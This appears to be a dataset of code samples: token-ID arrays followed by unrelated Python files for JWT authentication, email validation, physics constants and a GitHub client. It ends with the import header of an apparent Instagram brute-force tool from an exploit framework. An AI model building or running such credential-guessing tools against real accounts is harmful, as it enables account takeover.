565,
302,
29918,
13203,
1275,
29871,
29906,
29901,
13,
29937,
18884,
4450,
29961,
29926,
29962,
353,
29871,
29945,
334,
4450,
29961,
29926,
29962,
259,
13,
9651,
1857,
29918,
2230,
353,
931,
29889,
2230,
580,
965,
13,
9651,
17983,
29918,
9902,
353,
7945,
29918,
13239,
29889,
24219,
403,
29898,
5182,
29879,
29961,
29926,
1822,
6948,
802,
29872,
911,
29898,
29900,
511,
13,
462,
462,
462,
418,
4450,
29961,
29926,
1822,
6948,
802,
29872,
911,
29898,
29900,
876,
13,
9651,
274,
29918,
5344,
29900,
353,
7945,
29918,
13239,
29889,
15807,
403,
29918,
5527,
3958,
29918,
5344,
29898,
5182,
29879,
29961,
29926,
1822,
6948,
802,
29872,
911,
29898,
29900,
511,
13,
462,
462,
462,
1669,
4450,
29961,
29926,
1822,
6948,
802,
29872,
911,
29898,
29900,
511,
13,
462,
462,
462,
1669,
1067,
29879,
29918,
1949,
29922,
29876,
29918,
13203,
29897,
13,
13,
9651,
396,
3784,
29918,
2230,
353,
931,
29889,
2230,
580,
13,
9651,
27262,
29918,
2230,
353,
12865,
29889,
9346,
287,
2554,
29898,
23128,
29922,
3784,
29918,
2230,
448,
12379,
29918,
2230,
29897,
13,
9651,
12379,
29918,
2230,
353,
1857,
29918,
2230,
13,
9651,
1596,
14182,
29873,
29974,
350,
905,
1273,
29881,
29892,
512,
1659,
5974,
29901,
1273,
29879,
29908,
1273,
313,
16175,
29918,
29875,
29892,
27262,
29918,
2230,
876,
13,
13,
9651,
274,
29918,
5344,
4619,
274,
29918,
5344,
29900,
13,
9651,
2224,
353,
2380,
29961,
29926,
29962,
13,
9651,
274,
29918,
5344,
29900,
353,
1051,
29898,
29883,
29918,
5344,
29900,
29889,
690,
14443,
6278,
29896,
876,
13,
9651,
274,
29918,
5344,
29900,
29889,
7851,
29898,
29900,
29892,
2084,
29889,
5451,
11219,
1495,
14352,
29896,
1822,
5451,
12839,
29861,
29900,
2314,
13,
9651,
274,
5344,
29918,
4204,
29889,
4397,
29898,
29883,
29918,
5344,
29900,
29897,
13,
632,
13,
9651,
1967,
29918,
13492,
353,
7442,
29889,
2378,
29898,
2940,
29889,
3150,
29898,
2084,
467,
13441,
877,
28212,
8785,
13,
632,
13,
632,
13,
9651,
1024,
353,
22868,
29915,
718,
851,
29898,
29896,
29900,
29900,
334,
4513,
29898,
24219,
362,
29918,
9902,
29961,
29900,
3816,
29896,
1402,
29906,
876,
718,
320,
13,
462,
259,
22868,
29915,
718,
851,
29898,
29896,
29900,
29900,
334,
4513,
29898,
24219,
362,
29918,
9902,
29961,
29896,
3816,
29896,
1402,
29906,
876,
13,
9651,
10153,
29918,
978,
353,
2224,
29889,
5451,
11219,
1495,
14352,
29896,
1822,
5451,
12839,
29861,
29900,
29962,
718,
1024,
13,
13,
9651,
3646,
353,
22525,
29961,
29926,
1822,
21970,
2141,
23749,
580,
13,
9651,
18988,
353,
4450,
29961,
29926,
1822,
21970,
2141,
23749,
580,
13,
13,
12,
12,
12,
29937,
4078,
18988,
4558,
13,
9651,
10153,
353,
7442,
29889,
2873,
29918,
4561,
29898,
3027,
29918,
13492,
11877,
29906,
29945,
29945,
13,
9651,
10153,
353,
7945,
29918,
13239,
29889,
4012,
29918,
2780,
29898,
2492,
29892,
11965,
2463,
17094,
29906,
29945,
29945,
29892,
29900,
29892,
29906,
29945,
29945,
2314,
13,
9651,
1967,
29918,
1050,
3192,
353,
13850,
29906,
29889,
1202,
22676,
287,
29898,
3027,
29918,
13492,
29914,
29906,
29945,
29945,
29892,
29900,
29889,
29955,
29892,
2492,
29914,
29906,
29945,
29945,
29892,
29900,
29889,
29941,
29892,
29900,
29892,
29881,
1853,
353,
13850,
29906,
29889,
15633,
29918,
29941,
29906,
29943,
29897,
13,
9651,
10153,
29918,
17743,
457,
353,
7442,
29889,
535,
29883,
2579,
403,
3552,
3027,
29918,
13492,
29914,
29906,
29945,
29945,
29892,
3027,
29918,
1050,
3192,
511,
9685,
29922,
29900,
29897,
13,
9651,
14770,
29889,
326,
7620,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2914,
29918,
12083,
29892,
2492,
29918,
978,
29974,
15972,
29874,
29918,
27711,
29889,
6173,
5477,
2492,
29918,
17743,
457,
29897,
13,
13,
12,
12,
12,
29937,
5706,
323,
29925,
29892,
26353,
29892,
29943,
29940,
4558,
9651,
13,
9651,
323,
29925,
29892,
383,
29925,
29892,
383,
29940,
353,
7945,
29918,
13239,
29889,
4738,
362,
29918,
3557,
29918,
26353,
29918,
29943,
29940,
29898,
5182,
29892,
11965,
2463,
29892,
29873,
353,
29871,
29945,
29897,
13,
9651,
10153,
353,
7442,
29889,
2873,
29918,
4561,
29898,
3027,
29918,
13492,
11877,
29906,
29945,
29945,
13,
9651,
10153,
353,
7945,
29918,
13239,
29889,
4012,
29918,
2780,
29898,
2492,
29892,
29943,
29940,
17094,
29900,
29892,
29906,
29945,
29945,
29892,
29900,
2314,
13,
13,
9651,
396,
4078,
383,
29940,
4558,
13,
9651,
1967,
29918,
1050,
3192,
353,
13850,
29906,
29889,
1202,
22676,
287,
29898,
3027,
29918,
13492,
29914,
29906,
29945,
29945,
29892,
29900,
29889,
29955,
29892,
2492,
29914,
29906,
29945,
29945,
29892,
29900,
29889,
29941,
29892,
29900,
29892,
29881,
1853,
353,
13850,
29906,
29889,
15633,
29918,
29941,
29906,
29943,
29897,
13,
9651,
10153,
29918,
17743,
457,
353,
7442,
29889,
535,
29883,
2579,
403,
3552,
3027,
29918,
13492,
29914,
29906,
29945,
29945,
29892,
3027,
29918,
1050,
3192,
511,
9685,
29922,
29900,
29897,
13,
9651,
14770,
29889,
326,
7620,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2914,
29918,
12083,
29892,
2492,
29918,
978,
29974,
15972,
29883,
29918,
29943,
29940,
29889,
6173,
5477,
2492,
29918,
17743,
457,
29897,
13,
13,
9651,
10153,
353,
7945,
29918,
13239,
29889,
4012,
29918,
2780,
29898,
2492,
29892,
3557,
17094,
29906,
29945,
29945,
29892,
29900,
29892,
29900,
2314,
632,
13,
9651,
10153,
353,
7945,
29918,
13239,
29889,
4012,
29918,
2780,
29898,
2492,
29892,
26353,
17094,
29900,
29892,
29900,
29892,
29906,
29945,
29945,
2314,
13,
632,
13,
9651,
396,
4078,
323,
29925,
29918,
26353,
29918,
29943,
29940,
4558,
13,
9651,
1967,
29918,
1050,
3192,
353,
13850,
29906,
29889,
1202,
22676,
287,
29898,
3027,
29918,
13492,
29914,
29906,
29945,
29945,
29892,
29900,
29889,
29955,
29892,
2492,
29914,
29906,
29945,
29945,
29892,
29900,
29889,
29941,
29892,
29900,
29892,
29881,
1853,
353,
13850,
29906,
29889,
15633,
29918,
29941,
29906,
29943,
29897,
13,
9651,
10153,
29918,
17743,
457,
353,
7442,
29889,
535,
29883,
2579,
403,
3552,
3027,
29918,
13492,
29914,
29906,
29945,
29945,
29892,
3027,
29918,
1050,
3192,
511,
9685,
29922,
29900,
29897,
13,
9651,
14770,
29889,
326,
7620,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2914,
29918,
12083,
29892,
2492,
29918,
978,
29974,
15972,
29890,
29918,
3557,
29918,
26353,
29918,
29943,
29940,
29889,
6173,
5477,
2492,
29918,
17743,
457,
29897,
13,
29871,
13,
632,
13,
9651,
6382,
29918,
5182,
29879,
353,
3667,
29879,
29889,
2492,
29879,
29889,
1493,
29918,
6735,
630,
29898,
5182,
29879,
29961,
29926,
1402,
29915,
5182,
29879,
742,
6492,
29922,
8824,
29892,
770,
29918,
1949,
29922,
29953,
29897,
13,
9651,
6382,
29918,
11965,
353,
3667,
29879,
29889,
2492,
29879,
29889,
1493,
29918,
6735,
630,
29898,
11965,
29961,
29926,
1402,
29915,
11965,
2463,
742,
6492,
29922,
8824,
29892,
770,
29918,
1949,
29922,
29953,
29897,
13,
9651,
10153,
29918,
17743,
457,
29906,
353,
7442,
29889,
535,
29883,
2579,
403,
3552,
3027,
29918,
13492,
29914,
29906,
29945,
29945,
29892,
326,
351,
29918,
5182,
29879,
29892,
326,
351,
29918,
11965,
511,
9685,
29922,
29900,
29897,
13,
9651,
396,
572,
29873,
29889,
326,
7620,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2914,
29918,
12083,
29892,
2492,
29918,
978,
29889,
6506,
877,
14634,
29900,
3788,
14634,
29896,
1495,
511,
2492,
29918,
17743,
457,
29906,
29897,
13,
9651,
1596,
29898,
2084,
29889,
5451,
11219,
1495,
14352,
29896,
1822,
5451,
12839,
29861,
29900,
1402,
29915,
7743,
1495,
13,
632,
13,
13,
268,
13,
268,
13,
9651,
2582,
353,
518,
24219,
362,
29918,
9902,
29961,
29900,
3816,
29896,
1402,
24219,
362,
29918,
9902,
29961,
29896,
3816,
29896,
1402,
24219,
362,
29918,
9902,
29961,
29906,
3816,
29896,
5262,
13,
9651,
2582,
353,
518,
14486,
29898,
29878,
29892,
29941,
29897,
363,
364,
297,
2582,
29962,
13,
9651,
2582,
29889,
7851,
29898,
29900,
29892,
2084,
29889,
5451,
11219,
1495,
14352,
29896,
2314,
13,
9651,
1121,
29918,
4204,
29918,
3027,
29889,
4397,
29898,
9902,
29897,
13,
13,
1678,
1121,
29918,
4204,
29918,
3027,
353,
7442,
29889,
2378,
29898,
2914,
29918,
4204,
29918,
3027,
29897,
13,
1678,
848,
353,
10518,
29889,
17271,
3319,
13,
9651,
525,
2248,
2396,
2914,
29918,
4204,
29918,
3027,
7503,
29892,
29900,
1402,
13,
9651,
525,
17990,
2459,
2396,
2914,
29918,
4204,
29918,
3027,
7503,
29892,
29896,
1402,
13,
9651,
525,
3757,
497,
2396,
2914,
29918,
4204,
29918,
3027,
7503,
29892,
29906,
1402,
13,
9651,
525,
29888,
29896,
2396,
2914,
29918,
4204,
29918,
3027,
7503,
29892,
29941,
1402,
13,
308,
13,
9651,
5615,
13,
268,
13,
1678,
848,
29889,
517,
29918,
7638,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2914,
29918,
12083,
5501,
9902,
29889,
7638,
8785,
259,
13,
13,
1678,
274,
5344,
29918,
4204,
353,
7442,
29889,
2378,
29898,
29883,
5344,
29918,
4204,
29897,
13,
1678,
848,
353,
10518,
29889,
17271,
3319,
13,
9651,
525,
2248,
2396,
29883,
5344,
29918,
4204,
7503,
29892,
29900,
1402,
13,
9651,
525,
29943,
29940,
2396,
29883,
5344,
29918,
4204,
7503,
29892,
29941,
1402,
13,
9651,
525,
3557,
2396,
29883,
5344,
29918,
4204,
7503,
29892,
29946,
1402,
13,
9651,
525,
26353,
2396,
29883,
5344,
29918,
4204,
7503,
29892,
29906,
1402,
13,
9651,
525,
17990,
2459,
2396,
2914,
29918,
4204,
29918,
3027,
7503,
29892,
29896,
1402,
13,
9651,
525,
3757,
497,
2396,
2914,
29918,
4204,
29918,
3027,
7503,
29892,
29906,
1402,
13,
9651,
525,
29888,
29896,
2396,
2914,
29918,
4204,
29918,
3027,
7503,
29892,
29941,
1402,
13,
462,
268,
13,
9651,
5615,
13,
268,
13,
1678,
848,
29889,
517,
29918,
7638,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2914,
29918,
12083,
5501,
9902,
29918,
29886,
15711,
29918,
4537,
29889,
7638,
8785,
259,
13,
268,
13,
1678,
411,
7442,
29889,
3127,
3859,
29898,
4563,
680,
2433,
17281,
742,
20965,
2433,
17281,
29374,
13,
4706,
16716,
353,
7442,
29889,
6051,
351,
29898,
29883,
29918,
5344,
6802,
29883,
29918,
5344,
29889,
2083,
29898,
8990,
29922,
29900,
29897,
13,
308,
13,
1678,
411,
7442,
29889,
3127,
3859,
29898,
4563,
680,
2433,
17281,
742,
20965,
2433,
17281,
29374,
13,
4706,
17386,
353,
7442,
29889,
6051,
351,
29898,
29883,
29918,
5344,
6802,
29883,
29918,
5344,
29889,
2083,
29898,
8990,
29922,
29896,
29897,
13,
1678,
1596,
29898,
17990,
2459,
29961,
29896,
1402,
3757,
497,
29961,
29896,
2314,
13,
268,
13,
1678,
1024,
353,
3523,
29889,
7915,
29918,
9507,
718,
15972,
18717,
851,
29898,
524,
29898,
29896,
29900,
29900,
334,
4513,
29898,
17990,
2459,
29961,
29896,
1402,
29906,
4961,
718,
320,
13,
965,
22868,
29915,
718,
851,
29898,
524,
29898,
29896,
29900,
29900,
334,
4513,
29898,
3757,
497,
29961,
29896,
1402,
29906,
4961,
718,
4286,
3945,
29915,
13,
9651,
13,
1678,
285,
353,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
3670,
29889,
2914,
29918,
12083,
29892,
1024,
511,
29915,
29893,
1495,
539,
13,
1678,
285,
29889,
5358,
580,
13,
13,
13,
18884,
396,
2158,
29898,
2492,
29918,
978,
29892,
525,
7743,
1495,
632,
13,
29937,
632,
13,
29937,
9651,
6382,
29918,
5182,
29879,
353,
3667,
29879,
29889,
2492,
29879,
29889,
1493,
29918,
6735,
630,
29898,
5182,
29879,
29961,
29926,
1402,
29915,
5182,
29879,
742,
6492,
29922,
8824,
29892,
770,
29918,
1949,
29922,
29953,
29897,
13,
29937,
9651,
6382,
29918,
5182,
29879,
14352,
29946,
13018,
29896,
29892,
29901,
29892,
17531,
353,
29871,
29896,
13,
29937,
13,
29937,
9651,
6382,
29918,
11965,
353,
3667,
29879,
29889,
2492,
29879,
29889,
1493,
29918,
6735,
630,
29898,
11965,
29961,
29926,
1402,
29915,
11965,
2463,
742,
6492,
29922,
8824,
29892,
770,
29918,
1949,
29922,
29953,
29897,
13,
29937,
9651,
1053,
282,
2585,
29936,
282,
2585,
29889,
842,
29918,
15003,
580,
13,
29937,
795,
13,
29937,
13,
29937,
9651,
565,
6120,
29898,
7620,
29918,
3027,
1125,
13,
29937,
462,
13,
29937,
18884,
396,
2492,
29918,
978,
353,
1967,
29918,
978,
29889,
4830,
29898,
2248,
29961,
29926,
2314,
13,
29937,
18884,
1967,
29918,
13492,
353,
7442,
29889,
2378,
29898,
2940,
29889,
3150,
29898,
2084,
467,
13441,
877,
28212,
8785,
13,
29937,
259,
13,
29937,
18884,
10153,
29918,
978,
353,
2224,
29889,
5451,
11219,
1495,
14352,
29896,
1822,
5451,
12839,
29861,
29900,
29962,
718,
22868,
29915,
718,
851,
29898,
524,
29898,
29896,
29900,
29900,
29900,
29930,
24219,
362,
29918,
9902,
14352,
29896,
12622,
718,
15300,
2732,
29915,
13,
29937,
18884,
10153,
29918,
17743,
457,
353,
7442,
29889,
535,
29883,
2579,
403,
3552,
3027,
29918,
13492,
29914,
29906,
29945,
29945,
29892,
326,
351,
29918,
5182,
29879,
29892,
326,
351,
29918,
11965,
511,
9685,
29922,
29900,
29897,
13,
29937,
18884,
14770,
29889,
326,
7620,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2914,
29918,
12083,
29892,
2492,
29918,
978,
511,
2492,
29918,
17743,
457,
29897,
13,
29937,
18884,
396,
2158,
29898,
2492,
29918,
978,
29892,
525,
7743,
1495,
13,
308,
13,
308,
13,
2277,
4706,
565,
9853,
29918,
29875,
1275,
29871,
29945,
29901,
13,
2277,
9651,
2867,
13,
29937,
418,
13,
29937,
1678,
1121,
29918,
4204,
29918,
3027,
353,
7442,
29889,
2378,
29898,
2914,
29918,
4204,
29918,
3027,
29897,
13,
29937,
1678,
848,
353,
10518,
29889,
17271,
3319,
13,
29937,
9651,
525,
2248,
2396,
2914,
29918,
4204,
29918,
3027,
7503,
29892,
29900,
1402,
13,
29937,
9651,
525,
7228,
2396,
2914,
29918,
4204,
29918,
3027,
7503,
29892,
29896,
1402,
13,
29937,
9651,
525,
1990,
29918,
7228,
2396,
2914,
29918,
4204,
29918,
3027,
7503,
29892,
29906,
1402,
13,
29937,
9651,
525,
29885,
29902,
29877,
29965,
2396,
2914,
29918,
4204,
29918,
3027,
7503,
29892,
29941,
1402,
13,
29937,
9651,
525,
29893,
29918,
10403,
29877,
29965,
2396,
2914,
29918,
4204,
29918,
3027,
7503,
29892,
29946,
29962,
308,
13,
29937,
9651,
5615,
13,
29937,
1678,
848,
29889,
517,
29918,
7638,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2914,
29918,
12083,
5501,
9902,
29889,
7638,
8785,
13,
29937,
1678,
1121,
353,
7442,
29889,
14486,
29898,
14968,
29918,
13239,
29889,
24219,
403,
29918,
15970,
280,
29918,
24713,
29898,
29883,
29918,
5344,
511,
29945,
29897,
13,
29937,
1678,
3001,
29918,
29875,
283,
353,
7945,
29918,
13239,
29889,
29902,
29877,
29965,
29898,
29883,
29918,
5344,
29897,
13,
29937,
1678,
274,
29918,
5344,
353,
7442,
29889,
14486,
29898,
29883,
29918,
5344,
847,
274,
29918,
5344,
29889,
2083,
3285,
29945,
29897,
13,
29937,
1678,
396,
7228,
29892,
770,
29918,
7228,
29892,
286,
29902,
29877,
29965,
29892,
281,
29918,
10403,
29877,
29965,
29962,
13,
29937,
1678,
2186,
29918,
2914,
353,
285,
29908,
24219,
362,
2582,
310,
278,
3353,
1243,
4138,
29901,
320,
29876,
320,
13,
29937,
9651,
15526,
13600,
29901,
426,
2914,
29961,
29900,
12258,
320,
29876,
320,
13,
29937,
9651,
2099,
770,
15526,
13600,
29901,
426,
2914,
29961,
29896,
12258,
320,
29876,
320,
13,
29937,
9651,
286,
29902,
29877,
29965,
29901,
426,
2914,
29961,
29906,
12258,
320,
29876,
320,
13,
29937,
9651,
7688,
287,
286,
29902,
29877,
29965,
29901,
426,
2914,
29961,
29941,
12258,
320,
29876,
320,
13,
29937,
9651,
22244,
29965,
310,
1269,
770,
26254,
7827,
29918,
29875,
283,
5038,
13,
29937,
1678,
1596,
29898,
8394,
29918,
2914,
29897,
13,
29937,
268,
13,
29937,
1678,
285,
353,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2914,
29918,
12083,
5501,
2914,
310,
599,
1243,
4558,
29889,
3945,
5477,
29915,
29893,
1495,
13,
29937,
1678,
285,
29889,
3539,
29898,
8394,
29918,
2914,
29897,
13,
29937,
1678,
285,
29889,
5358,
580,
13,
29937,
268,
13,
29937,
1678,
7442,
29889,
29879,
485,
300,
486,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2914,
29918,
12083,
5501,
29883,
29918,
5344,
29889,
3945,
5477,
29883,
29918,
5344,
29892,
19200,
2433,
29995,
29879,
742,
1482,
1220,
2433,
29905,
29876,
742,
6144,
19657,
2433,
25710,
13,
13,
13,
2
] |
app/core/security.py | attachemd/backend_v03 | 0 | 180319 | <filename>app/core/security.py
from datetime import timedelta, datetime
from typing import Optional, Union, Any
from passlib.context import CryptContext
from jose import jwt
from app.core.config import settings
pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto")
def get_password_hash(password: str) -> str:
return pwd_context.hash(password)
def verify_password(
plain_password: str, hashed_password: str
) -> bool:
return pwd_context.verify(plain_password, hashed_password)
def create_access_token(
subject: Union[str, Any],
expires_delta: Optional[timedelta] = None,
):
if expires_delta:
expire = datetime.utcnow() + expires_delta
else:
expire = datetime.utcnow() + timedelta(
minutes=settings.ACCESS_TOKEN_EXPIRE_MINUTES
)
to_encode = {"exp": expire, **subject}
return jwt.encode(
to_encode, settings.SECRET_KEY, algorithm=settings.ALGORITHM
)
| [
1,
529,
9507,
29958,
932,
29914,
3221,
29914,
8926,
29889,
2272,
13,
3166,
12865,
1053,
5335,
287,
2554,
29892,
12865,
13,
3166,
19229,
1053,
28379,
29892,
7761,
29892,
3139,
13,
13,
3166,
1209,
1982,
29889,
4703,
1053,
315,
4641,
2677,
13,
3166,
432,
852,
1053,
432,
14554,
13,
13,
3166,
623,
29889,
3221,
29889,
2917,
1053,
6055,
13,
13,
29886,
9970,
29918,
4703,
353,
315,
4641,
2677,
29898,
816,
13826,
29922,
3366,
12328,
4641,
12436,
18164,
543,
6921,
1159,
13,
13,
13,
1753,
679,
29918,
5630,
29918,
8568,
29898,
5630,
29901,
851,
29897,
1599,
851,
29901,
13,
1678,
736,
282,
9970,
29918,
4703,
29889,
8568,
29898,
5630,
29897,
13,
13,
13,
1753,
11539,
29918,
5630,
29898,
13,
1678,
8656,
29918,
5630,
29901,
851,
29892,
6608,
287,
29918,
5630,
29901,
851,
13,
29897,
1599,
6120,
29901,
13,
1678,
736,
282,
9970,
29918,
4703,
29889,
27902,
29898,
24595,
29918,
5630,
29892,
6608,
287,
29918,
5630,
29897,
13,
13,
13,
1753,
1653,
29918,
5943,
29918,
6979,
29898,
13,
1678,
4967,
29901,
7761,
29961,
710,
29892,
3139,
1402,
13,
1678,
1518,
2658,
29918,
4181,
29901,
28379,
29961,
9346,
287,
2554,
29962,
353,
6213,
29892,
13,
1125,
13,
1678,
565,
1518,
2658,
29918,
4181,
29901,
13,
4706,
1518,
533,
353,
12865,
29889,
329,
29883,
3707,
580,
718,
1518,
2658,
29918,
4181,
13,
1678,
1683,
29901,
13,
4706,
1518,
533,
353,
12865,
29889,
329,
29883,
3707,
580,
718,
5335,
287,
2554,
29898,
13,
9651,
6233,
29922,
11027,
29889,
2477,
23524,
29918,
4986,
29968,
1430,
29918,
5746,
2227,
1525,
29918,
16173,
2692,
2890,
13,
4706,
1723,
13,
1678,
304,
29918,
12508,
353,
8853,
4548,
1115,
1518,
533,
29892,
3579,
16009,
29913,
13,
1678,
736,
432,
14554,
29889,
12508,
29898,
13,
4706,
304,
29918,
12508,
29892,
6055,
29889,
1660,
22245,
29911,
29918,
10818,
29892,
5687,
29922,
11027,
29889,
1964,
29954,
1955,
13054,
29924,
13,
1678,
1723,
13,
2
] |
proper_forms/fields/email.py | jpsca/pforms | 2 | 39416 | from .text import Text
from ..ftypes import type_email
__all__ = ("Email", )
class Email(Text):
"""Validates and normalize an email address using the
JoshData/python-email-validator library.
Even if the format is valid, it cannot guarantee that the email is real, so the
purpose of this function is to alert the user of a typing mistake.
The normalizations include lowercasing the domain part of the email address
(domain names are case-insensitive), unicode "NFC" normalization of the whole
address (which turns characters plus combining characters into precomposed
characters where possible and replaces certain unicode characters (such as
angstrom and ohm) with other equivalent code points (a-with-ring and omega,
respectively)), replacement of fullwidth and halfwidth characters in the domain
part, and possibly other UTS46 mappings on the domain part.
Options:
check_dns (bool):
Check if the domain name in the email address resolves.
There is nothing to be gained by trying to actually contact an SMTP server,
so that's not done.
allow_smtputf8 (bool):
Accept non-ASCII characters in the local part of the address
(before the @-sign). These email addresses require that your mail
submission library and the mail servers along the route to the destination,
including your own outbound mail server, all support the
[SMTPUTF8 (RFC 6531)](https://tools.ietf.org/html/rfc6531) extension.
By default this is set to `False`.
"""
input_type = "email"
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.error_messages.setdefault("type", "Doesn‘t look like a valid e-mail.")
def type(self, value, check_dns=False, allow_smtputf8=False):
return type_email(value, check_dns=check_dns, allow_smtputf8=allow_smtputf8)
| [
1,
515,
869,
726,
1053,
3992,
13,
3166,
6317,
615,
7384,
1053,
1134,
29918,
5269,
13,
13,
13,
1649,
497,
1649,
353,
4852,
9823,
613,
1723,
13,
13,
13,
1990,
22608,
29898,
1626,
1125,
13,
1678,
9995,
7211,
1078,
322,
4226,
675,
385,
4876,
3211,
773,
278,
13,
1678,
22838,
1469,
29914,
4691,
29899,
5269,
29899,
3084,
1061,
3489,
29889,
13,
13,
1678,
7753,
565,
278,
3402,
338,
2854,
29892,
372,
2609,
18818,
393,
278,
4876,
338,
1855,
29892,
577,
278,
13,
1678,
6437,
310,
445,
740,
338,
304,
6655,
278,
1404,
310,
263,
19229,
10171,
29889,
13,
13,
1678,
450,
4226,
17063,
3160,
5224,
29883,
5832,
278,
5354,
760,
310,
278,
4876,
3211,
13,
1678,
313,
7247,
2983,
526,
1206,
29899,
1144,
575,
3321,
511,
29104,
376,
29940,
8610,
29908,
4226,
2133,
310,
278,
3353,
13,
1678,
3211,
313,
4716,
12169,
4890,
2298,
29299,
4890,
964,
758,
510,
4752,
13,
1678,
4890,
988,
1950,
322,
1634,
6048,
3058,
29104,
4890,
313,
14565,
408,
13,
1678,
2614,
303,
456,
322,
288,
7184,
29897,
411,
916,
7126,
775,
3291,
313,
29874,
29899,
2541,
29899,
5393,
322,
2703,
2442,
29892,
13,
1678,
8307,
8243,
16920,
310,
2989,
2103,
322,
4203,
2103,
4890,
297,
278,
5354,
13,
1678,
760,
29892,
322,
10075,
916,
501,
9375,
29946,
29953,
611,
27775,
373,
278,
5354,
760,
29889,
13,
13,
1678,
25186,
29901,
13,
13,
4706,
1423,
29918,
29881,
1983,
313,
11227,
1125,
13,
9651,
5399,
565,
278,
5354,
1024,
297,
278,
4876,
3211,
3770,
1960,
29889,
13,
9651,
1670,
338,
3078,
304,
367,
17515,
491,
1811,
304,
2869,
6958,
385,
13766,
3557,
1923,
29892,
13,
9651,
577,
393,
29915,
29879,
451,
2309,
29889,
13,
13,
4706,
2758,
29918,
3844,
29873,
649,
29888,
29947,
313,
11227,
1125,
13,
9651,
29848,
1661,
29899,
28599,
2687,
4890,
297,
278,
1887,
760,
310,
278,
3211,
13,
9651,
313,
11083,
278,
732,
29899,
4530,
467,
4525,
4876,
14157,
1996,
393,
596,
10524,
13,
9651,
29240,
3489,
322,
278,
10524,
12424,
3412,
278,
5782,
304,
278,
12551,
29892,
13,
9651,
3704,
596,
1914,
714,
9917,
10524,
1923,
29892,
599,
2304,
278,
13,
9651,
518,
17061,
3557,
10496,
29947,
313,
29934,
8610,
29871,
29953,
29945,
29941,
29896,
23192,
991,
597,
8504,
29889,
2035,
29888,
29889,
990,
29914,
1420,
29914,
9600,
29883,
29953,
29945,
29941,
29896,
29897,
6081,
29889,
13,
9651,
2648,
2322,
445,
338,
731,
304,
421,
8824,
1412,
13,
13,
1678,
9995,
13,
13,
1678,
1881,
29918,
1853,
353,
376,
5269,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
2428,
2141,
1649,
2344,
1649,
10456,
5085,
29892,
3579,
19290,
29897,
13,
4706,
1583,
29889,
2704,
29918,
19158,
29889,
842,
4381,
703,
1853,
613,
376,
25125,
29876,
30086,
29873,
1106,
763,
263,
2854,
321,
29899,
2549,
23157,
13,
13,
1678,
822,
1134,
29898,
1311,
29892,
995,
29892,
1423,
29918,
29881,
1983,
29922,
8824,
29892,
2758,
29918,
3844,
29873,
649,
29888,
29947,
29922,
8824,
1125,
13,
4706,
736,
1134,
29918,
5269,
29898,
1767,
29892,
1423,
29918,
29881,
1983,
29922,
3198,
29918,
29881,
1983,
29892,
2758,
29918,
3844,
29873,
649,
29888,
29947,
29922,
9536,
29918,
3844,
29873,
649,
29888,
29947,
29897,
13,
2
] |
uncluster/potential/potential_config.py | adrn/uncluster | 0 | 186980 | # vvv --- THIS IS AUTO-GENERATED CODE - see scripts/setup-potential.py --- vvv
import astropy.units as u
m_h = 5.4596489e+11 * u.Msun
r_s = 15.7799796 * u.kpc
m_n = 1.7005340e+09 * u.Msun
c_n = 65.6443448 * u.pc
# ^^^ --- THIS IS AUTO-GENERATED CODE - see scripts/setup-potential.py --- ^^^ | [
1,
396,
325,
29894,
29894,
11474,
3446,
3235,
8519,
26524,
29949,
29899,
24647,
1001,
3040,
29928,
4810,
2287,
448,
1074,
12078,
29914,
14669,
29899,
17765,
2556,
29889,
2272,
11474,
325,
29894,
29894,
13,
5215,
8717,
14441,
29889,
348,
1169,
408,
318,
13,
29885,
29918,
29882,
353,
29871,
29945,
29889,
29946,
29945,
29929,
29953,
29946,
29947,
29929,
29872,
29974,
29896,
29896,
334,
318,
29889,
29924,
11445,
13,
29878,
29918,
29879,
353,
29871,
29896,
29945,
29889,
29955,
29955,
29929,
29929,
29955,
29929,
29953,
334,
318,
29889,
29895,
6739,
13,
29885,
29918,
29876,
353,
29871,
29896,
29889,
29955,
29900,
29900,
29945,
29941,
29946,
29900,
29872,
29974,
29900,
29929,
334,
318,
29889,
29924,
11445,
13,
29883,
29918,
29876,
353,
29871,
29953,
29945,
29889,
29953,
29946,
29946,
29941,
29946,
29946,
29947,
334,
318,
29889,
6739,
13,
29937,
6228,
16672,
11474,
3446,
3235,
8519,
26524,
29949,
29899,
24647,
1001,
3040,
29928,
4810,
2287,
448,
1074,
12078,
29914,
14669,
29899,
17765,
2556,
29889,
2272,
11474,
6228,
16672,
2
] |
scripts/utils/__init__.py | JimCircadian/inconsistentrecords | 0 | 88871 | import configparser
import logging
import os
from github import Github
def github_conn(filename="$HOME/.github_api"):
config = configparser.ConfigParser()
config.read(os.path.expandvars(filename))
token = config['api']['token']
return Github(token)
| [
1,
1053,
2295,
16680,
13,
5215,
12183,
13,
5215,
2897,
13,
13,
3166,
18546,
1053,
402,
2985,
13,
13,
13,
1753,
18546,
29918,
13082,
29898,
9507,
18965,
17353,
6294,
3292,
29918,
2754,
29908,
1125,
13,
1678,
2295,
353,
2295,
16680,
29889,
3991,
11726,
580,
13,
1678,
2295,
29889,
949,
29898,
359,
29889,
2084,
29889,
18837,
16908,
29898,
9507,
876,
13,
13,
1678,
5993,
353,
2295,
1839,
2754,
16215,
6979,
2033,
13,
1678,
736,
402,
2985,
29898,
6979,
29897,
13,
2
] |
exploit/socialbrute/__mainig__.py | 5l1v3r1/saydog-framework | 2 | 127078 | <filename>exploit/socialbrute/__mainig__.py
# coding=utf-8
# !/usr/bin/python
from __future__ import print_function
from instabrute import *
import argparse
import logging
import random
import socket
import sys
import threading
r="\x1b[91m"
w="\x1b[00m"
c ="\x1b[36;1m"
y="\x1b[33m"
try:
import urllib.request as rq
from urllib.error import HTTPError
import urllib.parse as http_parser
except ImportError:
import urllib2 as rq
from urllib2 import HTTPError
import urllib as http_parser
try:
import Queue
except ImportError:
import queue as Queue
